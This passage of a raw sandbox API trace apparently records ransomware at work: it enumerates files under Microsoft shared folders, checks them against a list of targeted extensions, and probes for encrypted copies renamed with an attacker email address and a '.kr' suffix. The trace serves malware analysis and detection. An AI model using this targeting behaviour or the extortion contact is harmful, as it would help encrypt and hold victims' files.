shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0089.313] lstrlenW (lpString=".doc") returned 4 [0089.313] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0089.313] lstrlenW (lpString=".docx") returned 5 [0089.313] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0089.313] lstrlenW (lpString=".pdf") returned 4 [0089.313] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0089.313] lstrlenW (lpString=".xls") returned 4 [0089.313] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0089.313] lstrlenW (lpString=".xlsx") returned 5 [0089.313] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0089.313] lstrlenW (lpString=".ppt") returned 4 [0089.313] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0089.313] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0089.313] lstrlenW (lpString=".zip") returned 4 [0089.313] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0089.313] lstrlenW (lpString=".rar") returned 4 [0089.313] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0089.313] lstrlenW (lpString=".bz2") returned 4 [0089.313] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0089.313] lstrlenW (lpString=".7z") returned 3 [0089.313] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0089.313] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0089.314] lstrlenW (lpString=".dbf") returned 4 [0089.314] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0089.314] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0089.314] lstrlenW (lpString=".1cd") returned 4 [0089.314] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0089.314] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0089.314] lstrlenW (lpString=".jpg") returned 4 [0089.314] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0089.314] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0089.314] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0089.314] lstrlenW (lpString=".doc") returned 4 [0089.314] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0089.314] lstrlenW (lpString=".docx") returned 5 [0089.314] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0089.314] lstrlenW (lpString=".pdf") returned 4 [0089.314] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0089.314] lstrlenW (lpString=".xls") returned 4 [0089.314] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0089.314] lstrlenW (lpString=".xlsx") returned 5 [0089.314] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0089.314] lstrlenW (lpString=".ppt") returned 4 [0089.314] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0089.314] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0089.314] lstrlenW (lpString=".zip") returned 4 [0089.314] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0089.314] lstrlenW (lpString=".rar") returned 4 [0089.314] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0089.314] lstrlenW (lpString=".bz2") returned 4 [0089.315] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0089.315] lstrlenW (lpString=".7z") returned 3 [0089.315] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0089.315] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0089.315] lstrlenW (lpString=".dbf") returned 4 [0089.315] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0089.315] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0089.315] lstrlenW (lpString=".1cd") returned 4 [0089.315] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0089.315] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0089.315] lstrlenW (lpString=".jpg") returned 4 [0089.315] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0089.315] Sleep (dwMilliseconds=0x64) [0089.788] Sleep (dwMilliseconds=0x64) [0090.113] lstrcmpiW (lpString1=".avi", lpString2=".kr") returned -1 [0090.113] lstrlenW (lpString="join.avi") returned 8 [0090.113] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0090.214] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=199994) returned 1 [0090.215] CloseHandle (hObject=0x2b4) returned 1 [0090.215] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi")) returned 0x20 [0090.215] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0090.215] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0090.215] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0090.215] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0090.215] lstrlenW (lpString=".doc") returned 4 [0090.215] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0090.215] lstrlenW (lpString=".docx") returned 5 [0090.215] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0090.216] lstrlenW (lpString=".pdf") returned 4 [0090.216] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0090.216] lstrlenW (lpString=".xls") returned 4 [0090.216] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0090.216] lstrlenW (lpString=".xlsx") returned 5 [0090.216] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0090.216] lstrlenW (lpString=".ppt") returned 4 [0090.216] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0090.216] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0090.216] lstrlenW (lpString=".zip") returned 4 [0090.216] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0090.216] lstrlenW (lpString=".rar") returned 4 [0090.216] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0090.216] lstrlenW (lpString=".bz2") returned 4 [0090.216] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0090.216] lstrlenW (lpString=".7z") returned 3 [0090.216] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0090.216] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0090.216] lstrlenW (lpString=".dbf") returned 4 [0090.216] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0090.216] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0090.216] lstrlenW (lpString=".1cd") returned 4 [0090.216] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0090.216] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0090.216] lstrlenW (lpString=".jpg") returned 4 [0090.216] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0090.217] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0090.217] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0090.217] lstrlenW (lpString=".doc") returned 4 [0090.217] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0090.217] lstrlenW (lpString=".docx") returned 5 [0090.217] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0090.217] lstrlenW (lpString=".pdf") returned 4 [0090.217] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0090.217] lstrlenW (lpString=".xls") returned 4 [0090.217] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0090.217] lstrlenW (lpString=".xlsx") returned 5 [0090.217] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0090.217] lstrlenW (lpString=".ppt") returned 4 [0090.217] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0090.217] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0090.217] lstrlenW (lpString=".zip") returned 4 [0090.217] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0090.217] lstrlenW (lpString=".rar") returned 4 [0090.217] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0090.217] lstrlenW (lpString=".bz2") returned 4 [0090.217] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0090.217] lstrlenW (lpString=".7z") returned 3 [0090.217] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0090.218] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0090.218] lstrlenW (lpString=".dbf") returned 4 [0090.218] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0090.218] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0090.218] lstrlenW (lpString=".1cd") returned 4 [0090.218] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0090.218] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0090.218] lstrlenW (lpString=".jpg") returned 4 [0090.218] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0090.219] Sleep (dwMilliseconds=0x64) [0090.732] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0090.732] lstrlenW (lpString="auxbase.xml") returned 11 [0090.732] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0090.733] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=1434) returned 1 [0090.733] CloseHandle (hObject=0x358) returned 1 [0090.733] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml")) returned 0x20 [0090.733] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0090.733] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0090.733] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0090.733] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0090.733] lstrlenW (lpString=".doc") returned 4 [0090.733] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0090.734] lstrlenW (lpString=".docx") returned 5 [0090.734] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0090.734] lstrlenW (lpString=".pdf") returned 4 [0090.734] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0090.734] lstrlenW (lpString=".xls") returned 4 [0090.734] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0090.734] lstrlenW (lpString=".xlsx") returned 5 [0090.734] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0090.734] lstrlenW (lpString=".ppt") returned 4 [0090.734] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0090.734] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0090.734] lstrlenW (lpString=".zip") returned 4 [0090.734] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0090.734] lstrlenW (lpString=".rar") returned 4 [0090.734] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0090.734] lstrlenW (lpString=".bz2") returned 4 [0090.734] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0090.734] lstrlenW (lpString=".7z") returned 3 [0090.734] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0090.734] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0090.734] lstrlenW (lpString=".dbf") returned 4 [0090.734] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0090.734] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0090.734] lstrlenW (lpString=".1cd") returned 4 [0090.734] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0090.734] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0090.735] lstrlenW (lpString=".jpg") returned 4 [0090.735] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0090.735] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0090.735] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0090.735] lstrlenW (lpString=".doc") returned 4 [0090.735] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0090.735] lstrlenW (lpString=".docx") returned 5 [0090.735] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0090.735] lstrlenW (lpString=".pdf") returned 4 [0090.735] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0090.735] lstrlenW (lpString=".xls") returned 4 [0090.735] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0090.735] lstrlenW (lpString=".xlsx") returned 5 [0090.735] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0090.735] lstrlenW (lpString=".ppt") returned 4 [0090.735] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0090.735] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0090.735] lstrlenW (lpString=".zip") returned 4 [0090.735] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0090.735] lstrlenW (lpString=".rar") returned 4 [0090.735] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0090.735] lstrlenW (lpString=".bz2") returned 4 [0090.735] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0090.736] lstrlenW (lpString=".7z") returned 3 [0090.736] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0090.736] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0090.736] lstrlenW (lpString=".dbf") returned 4 [0090.736] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0090.736] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0090.736] lstrlenW (lpString=".1cd") returned 4 [0090.736] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0090.736] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0090.736] lstrlenW (lpString=".jpg") returned 4 [0090.736] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0090.736] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0090.736] lstrlenW (lpString="auxpad.xml") returned 10 [0090.736] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0090.737] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=212) returned 1 [0090.737] CloseHandle (hObject=0x358) returned 1 [0090.737] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml")) returned 0x20 [0090.737] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0090.737] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0090.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0090.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0090.738] lstrlenW (lpString=".doc") returned 4 [0090.738] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0090.738] lstrlenW (lpString=".docx") returned 5 [0090.738] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0090.738] lstrlenW (lpString=".pdf") returned 4 [0090.738] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0090.738] lstrlenW (lpString=".xls") returned 4 [0090.738] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0090.738] lstrlenW (lpString=".xlsx") returned 5 [0090.738] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0090.738] lstrlenW (lpString=".ppt") returned 4 [0090.738] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0090.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0090.738] lstrlenW (lpString=".zip") returned 4 [0090.738] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0090.738] lstrlenW (lpString=".rar") returned 4 [0090.738] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0090.738] lstrlenW (lpString=".bz2") returned 4 [0090.738] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0090.738] lstrlenW (lpString=".7z") returned 3 [0090.738] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0090.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0090.739] lstrlenW (lpString=".dbf") returned 4 [0090.739] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0090.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0090.739] lstrlenW (lpString=".1cd") returned 4 [0090.739] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0090.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0090.739] lstrlenW (lpString=".jpg") returned 4 [0090.739] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0090.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0090.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0090.739] lstrlenW (lpString=".doc") returned 4 [0090.739] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0090.739] lstrlenW (lpString=".docx") returned 5 [0090.739] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0090.739] lstrlenW (lpString=".pdf") returned 4 [0090.739] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0090.739] lstrlenW (lpString=".xls") returned 4 [0090.739] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0090.739] lstrlenW (lpString=".xlsx") returned 5 [0090.739] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0090.739] lstrlenW (lpString=".ppt") returned 4 [0090.739] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0090.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0090.739] lstrlenW (lpString=".zip") returned 4 [0090.739] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0090.739] lstrlenW (lpString=".rar") returned 4 [0090.740] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0090.740] lstrlenW (lpString=".bz2") returned 4 [0090.740] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0090.740] lstrlenW (lpString=".7z") returned 3 [0090.740] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0090.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0090.740] lstrlenW (lpString=".dbf") returned 4 [0090.740] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0090.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0090.740] lstrlenW (lpString=".1cd") returned 4 [0090.740] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0090.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0090.740] lstrlenW (lpString=".jpg") returned 4 [0090.740] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0090.740] Sleep (dwMilliseconds=0x64) [0091.429] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0091.429] lstrlenW (lpString="keypad.xml") returned 10 [0091.429] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0091.829] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=693) returned 1 [0091.830] CloseHandle (hObject=0x328) returned 1 [0091.830] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml")) returned 0x20 [0091.830] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0091.833] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0091.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0091.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0091.834] lstrlenW (lpString=".doc") returned 4 [0091.834] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0091.834] lstrlenW (lpString=".docx") returned 5 [0091.834] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0091.834] lstrlenW (lpString=".pdf") returned 4 [0091.834] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0091.834] lstrlenW (lpString=".xls") returned 4 [0091.834] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0091.834] lstrlenW (lpString=".xlsx") returned 5 [0091.834] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0091.834] lstrlenW (lpString=".ppt") returned 4 [0091.834] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0091.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0091.834] lstrlenW (lpString=".zip") returned 4 [0091.834] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0091.834] lstrlenW (lpString=".rar") returned 4 [0091.834] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0091.834] lstrlenW (lpString=".bz2") returned 4 [0091.835] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0091.835] lstrlenW (lpString=".7z") returned 3 [0091.835] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0091.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0091.835] lstrlenW (lpString=".dbf") returned 4 [0091.835] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0091.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0091.835] lstrlenW (lpString=".1cd") returned 4 [0091.835] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0091.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0091.835] lstrlenW (lpString=".jpg") returned 4 [0091.835] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0091.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0091.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0091.835] lstrlenW (lpString=".doc") returned 4 [0091.835] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0091.835] lstrlenW (lpString=".docx") returned 5 [0091.835] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0091.835] lstrlenW (lpString=".pdf") returned 4 [0091.835] 